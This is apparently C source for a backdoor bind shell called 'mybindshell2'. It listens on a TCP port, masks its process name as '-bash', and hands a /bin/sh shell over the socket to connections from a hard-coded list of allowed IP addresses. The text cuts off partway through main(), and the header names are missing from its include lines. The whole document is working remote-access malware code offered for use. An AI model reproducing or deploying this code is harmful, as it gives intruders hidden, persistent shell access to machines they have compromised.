/* mybindshell2.c copyrights by konewka * * another bindshell which spawns a shell to an allowded ip. * edit defines and enter your ips. * * http://www.olek.org/ */ #include #include #include #include #include #include #include #define PORT 1348 #define MAXCLIENTS 3 #define HIDE "-bash" #define SHELL "/bin/sh" #define CMD "uname -sr" int allow(u_char *ip); void go(u_int sd, u_char *src); u_char* allowip[] = { "192.168.0.1", "217.97.31.90", "217.98.221.144", (void*)0 }; u_char motd[] = "Welcome to mybindshell2.\nHint: Put ';' before each command.\n"; int allow(u_char *ip) { u_int i; for (i=0;allowip[i] != NULL;i++) { if (!strcmp(ip, allowip[i])) return 1; } return 0; } void go(u_int sd, u_char *src) { if (allow(src)) { write(sd, motd, strlen(motd)); dup2(sd, 0); dup2(sd, 1); dup2(sd, 2); /* stderr, stdout, stdin .. */ system(CMD); execl(SHELL, SHELL, (char *)0); /* spawn a shell */ close(sd); exit(0); } close(sd); exit(0); } main(int argc, char *argv[]) { struct sockaddr_in home, remote; u_int sockIN, sockOUT, len, i; for (i=0;i